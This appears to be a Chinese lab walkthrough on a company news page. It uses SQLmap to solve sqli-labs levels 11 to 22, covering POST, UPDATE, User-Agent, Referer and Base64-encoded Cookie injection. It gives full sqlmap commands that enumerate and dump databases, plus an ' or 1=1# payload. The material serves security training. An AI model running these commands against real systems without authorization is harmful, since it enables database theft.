尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

SQLmap 通关 sqli-labs 系列(三):POST、UPDATE 与 HTTP 头注入

SQLmap 通关 sqli-labs 系列(三):POST、UPDATE 与 HTTP 头注入
📅 发布时间:2026/6/25 13:13:35

摘要:上一篇我们拿下了 GET 型注入的各种变体。现实世界的登录、搜索、用户中心几乎都使用 POST 方法传递数据,注入点还经常藏在 Cookie、User-Agent、Referer 等 HTTP 头中。本篇将用 SQLmap 彻底解决 Less-11 到 Less-22,涵盖 POST 报错注入、双注入、盲注、UPDATE 注入、User-Agent/Referer 注入、Cookie 注入以及 Base64 编码的 Cookie。我们将重点学习--data、-r请求文件、--level、--risk、--tamper=base64encode等核心参数,让任何位置的注入点都无所遁形。


一、新场景:当注入点不在 URL 中

手工注入时,我们需要用 Burp Suite 抓包,修改 POST 数据或者头字段。SQLmap 同样需要知道完整的请求信息。它提供了两种方式:

  • --data:直接指定 POST 数据字符串。

  • -r:读取一个完整的 HTTP 请求文件。


二、POST 注入核心关卡:Less-11 到 Less-17

2.1 准备工作:抓取请求文件

首先,在浏览器中访问 sqli-labs,打开 Less-11 登录页面。用 Burp Suite 拦截登录请求(用户名 admin,密码 admin,提交),将截获的完整请求(包含 Host、Cookie、Content-Type 和 POST body)复制保存为less.txt。内容大致如下:

这就是我们日后反复使用的“模板”。每个关卡只需修改 URL 路径和请求体中的参数即可。

2.2 Less-11:POST 报错注入
sqlmap -r less.txt --batch --dbs

SQLmap 会测试uname和passwd,最终输出:

选择uname作为注入点,然后继续枚举表、列、数据:

sqlmap -r less.txt -D security --tables --batch sqlmap -r less.txt -D security -T users --columns --batch sqlmap -r less.txt -D security -T users --dump --batch

2.3 Less-12:POST 括号双引号

抓取 Less-12 的登录请求,修改less.txt。

命令不变:

sqlmap -r less.txt --batch --dbs

SQLmap 自动用")闭合,无需人工干预。

2.4 Less-13 和 Less-14:POST 双注入

Less-13 为单引号括号双注入,Less-14 为双引号。同样使用-r文件:

sqlmap -r less.txt --batch --dbs

皆可秒破。

2.5 Less-15 和 Less-16:POST 盲注
sqlmap -r less.txt --technique B --batch --dbs //布尔盲注
sqlmap -r less.txt --technique T --time-sec 2 --batch --dbs //时间盲注

可指定,盲注过程稍长,耐心等待即可。

2.6 Less-17:UPDATE 注入(密码修改)

这一关是修改密码的表单,后台执行UPDATE users SET password='...' WHERE username='...',注入点在用户名处。抓取修改密码的请求(提供新密码),保存为less.txt,然后:

sqlmap -r less.txt --batch --dbs

SQLmap 会发现uname参数存在注入。注意,这里因为执行的是 UPDATE,可能存在数据变更风险,但 sqli-labs 可随时重置。


三、HTTP 头注入:Less-18 和 Less-19

3.1 升级探测等级:--level与--risk

SQLmap 默认只测试 GET 和 POST 参数(--level 1)。要测试其他位置,必须提高 level:

  • --level 2:增加Cookie测试。

  • --level 3:增加User-Agent和Referer测试。

  • --level 4-5:测试更多 Header。

--risk是风险等级,值越高,Payload 越激进(如使用 OR、SLEEP 等),在 sqli-labs 中我们可放心使用--risk 2或 3。

3.2 Less-18:User-Agent 注入

关卡行为:登录成功后,页面会将你的 User-Agent 和 IP 插入数据库。注入点在User-Agent头。

sqlmap -r less.txt --level 3 --risk 2 --batch --dbs

SQLmap 在测试User-Agent参数时会输出:

避坑指南:如果没测出,多半是 Cookie 已过期,导致登录状态失效,页面没有执行 INSERT 操作。务必使用刚登录后的有效请求。

3.3 Less-19:Referer 注入

与 Less-18 几乎一样,只是注入点换成了Referer头。抓取任意包含 Referer 的请求,保存为less.txt,然后用同样命令:

sqlmap -r less.txt --level 3 --risk 2 --batch --dbs


四、Cookie 注入:Less-20、Less-21、Less-22

4.1 Less-20:明文 Cookie 注入

登录后,Less-20 将用户名存入 Cookie(uname=admin),并在查询时拼接。在--level 2下,Cookie 会被测试。直接用--cookie参数:

sqlmap -u "http://192.168.137.1/sqli-labs/Less-20/" --cookie="uname=admin" --level 2 --batch --dbs

4.2 Less-21:Cookie Base64 编码注入

后台逻辑:base64_decode($_COOKIE['uname'])后拼入 SQL。直接送' or 1=1#会因编码失效。我们需要使用 Tamper 脚本base64encode,它在 Payload 发送前先进行 Base64 编码。

sqlmap -u "http://192.168.137.1/sqli-labs/Less-21/" --cookie="uname=admin" --tamper=base64encode --level 2 --batch --dbs

你会看到提示加载了base64encode模块,随后注入成功。

4.3 Less-22:Cookie Base64 双引号

闭合方式不同,但方法完全一样:

sqlmap -u "http://192.168.137.1/sqli-labs/Less-22/" --cookie="uname=admin" --tamper=base64encode --level 2 --batch --dbs


五、总结

通过本文,你将 POST 注入、UPDATE 注入、HTTP 头注入、Cookie 注入尽数掌握。核心要点回顾:

  • 用-r文件保存完整请求,可复用 Cookie 和所有 Header。

  • 灵活运用--level和--risk扩大测试范围。

  • 遇到 Base64 编码,用--tamper=base64encode一键适配。

真正的强大,在于知道工具背后发生了什么。当你看着 Tamper 脚本变形 Payload 时,请回想手工注入的奇技淫巧,它们本是一脉相承。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关新闻

  • 独立开发者从0到1:产品验证、技术选型与增长闭环的工程化路径
  • 魔兽世界API与宏命令一站式解决方案:从插件开发到游戏优化的完整指南
  • SQL Server RAG 笔记1:图数据库构建

最新新闻

  • 嵌入式系统PLL时钟配置:从原理到56852实战避坑指南
  • 基于MPC8308的智能电网网关设计:从硬件选型到系统集成的工程实践
  • Krita AI Diffusion:数字艺术家的终极AI创作指南
  • 昆明市安宁市私人保镖在哪找比较靠谱
  • 利用张量列车与组合结构破解高维多项式优化维数灾难
  • K8s Namespace 资源隔离原理

日新闻

  • Qwen2.5-Turbo百万上下文实战指南:百炼平台长文本处理全解析
  • 怎么监控对标账号更新,2026年作者监控工作流,5款深度对比
  • EdgeRemover:专业级Windows Edge浏览器管理工具,彻底解决顽固软件卸载难题

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号